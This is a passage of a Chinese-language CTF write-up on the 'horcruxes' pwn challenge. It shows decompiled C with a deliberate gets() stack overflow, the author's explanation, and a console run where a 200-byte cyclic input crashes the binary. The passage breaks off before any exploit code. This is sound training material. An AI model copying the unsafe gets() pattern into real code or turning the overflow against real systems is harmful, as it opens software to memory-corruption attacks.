</span></span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="mi">2147418112</span><span class="p">,</span> <span class="mi">295</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// mmap2
</span></span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="mi">2147418112</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// read
</span></span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="mi">2147418112</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// write
</span></span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="nf">seccomp_rule_add</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="mi">2147418112</span><span class="p">,</span> <span class="mi">252</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// exit_group
</span></span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="nf">seccomp_load</span><span class="p">(</span><span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="k">return</span> <span class="nf">ropme</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="nf">init_ABCDEFG</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">buf</span><span class="p">;</span> <span class="c1">// [esp+8h] [ebp-10h] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span> <span class="c1">// [esp+Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="c1">// 读取种子，生成真随机数
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="s">&#34;/dev/urandom&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">buf</span><span class="p">,</span> <span class="mi">4u</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;/dev/urandom error&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nf">srand</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="c1">// -559038737是0xDEADBEEF。有符号值的溢出后的值
</span></span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="n">a</span> <span class="o">=</span> <span class="o">-</span><span class="mi">559038737</span> <span class="o">*</span> <span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mh">0xCAFEBABE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="n">b</span> <span class="o">=</span> <span class="o">-</span><span class="mi">559038737</span> <span class="o">*</span> <span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mh">0xCAFEBABE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="n">c</span> <span class="o">=</span> <span class="o">-</span><span class="mi">559038737</span> <span class="o">*</span> <span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mh">0xCAFEBABE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="n">d</span> <span class="o">=</span> <span class="o">-</span><span class="mi">559038737</span> <span class="o">*</span> <span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mh">0xCAFEBABE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="n">e</span> <span class="o">=</span> <span class="o">-</span><span class="mi">559038737</span> <span class="o">*</span> <span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mh">0xCAFEBABE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="n">f</span> <span class="o">=</span> <span class="o">-</span><span class="mi">559038737</span> <span class="o">*</span> <span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mh">0xCAFEBABE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="n">g</span> <span class="o">=</span> <span class="o">-</span><span class="mi">559038737</span> <span class="o">*</span> <span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mh">0xCAFEBABE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="c1">// 计算 7 个变量的和，存入全局变量 sum
</span></span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="n">result</span> <span class="o">=</span> <span class="n">f</span> <span class="o">+</span> <span class="n">e</span> <span class="o">+</span> <span class="n">d</span> <span class="o">+</span> <span class="n">c</span> <span class="o">+</span> <span class="n">b</span> <span class="o">+</span> <span class="n">a</span> <span class="o">+</span> <span class="n">g</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">  <span class="n">sum</span> <span class="o">=</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="nf">ropme</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span> <span class="c1">// [esp+4h] [ebp-74h] BYREF
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [esp+68h] [ebp-10h] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span> <span class="c1">// [esp+6Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="c1">// 选单
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Select Menu:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="nf">getchar</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="c1">// 输入的值等于哪个变量就跳转某个函数，函数都是输出不同的话
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">==</span> <span class="n">a</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="nf">A</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">==</span> <span class="n">b</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="nf">B</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">==</span> <span class="n">c</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="nf">C</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">==</span> <span class="n">d</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="nf">D</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">==</span> <span class="n">e</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="nf">E</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">==</span> <span class="n">f</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="nf">F</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">==</span> <span class="n">g</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="nf">G</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">	<span class="c1">// 都没猜中
</span></span></span><span class="line"><span class="ln">43</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;How many EXP did you earned? : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">    <span class="nf">gets</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="c1">// 输入的值转成整数后等于sum
</span></span></span><span class="line"><span class="ln">46</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="nf">atoi</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">==</span> <span class="n">sum</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">	  <span class="c1">// 一套读取flag的操作
</span></span></span><span class="line"><span class="ln">49</span><span class="cl">      <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="s">&#34;/home/horcruxes_pwn/flag&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">      <span class="n">s</span><span class="p">[</span><span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">      <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">      <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;You&#39;d better get more experience to kill Voldemort&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>使用gest获取值，存在栈溢出，而且可以读取全局变量吧。
很明显200个垃圾数据，就触发了段错误：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">horcruxes@ubuntu:~$ ./horcruxes 
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">Voldemort concealed his splitted soul inside 7 horcruxes.
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">Find all horcruxes, and destroy it!
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">Select Menu:1
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">How many EXP did you earned? : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">You&#39;d better get more experience to kill Voldemort
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">Segmentation fault (core dumped)
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
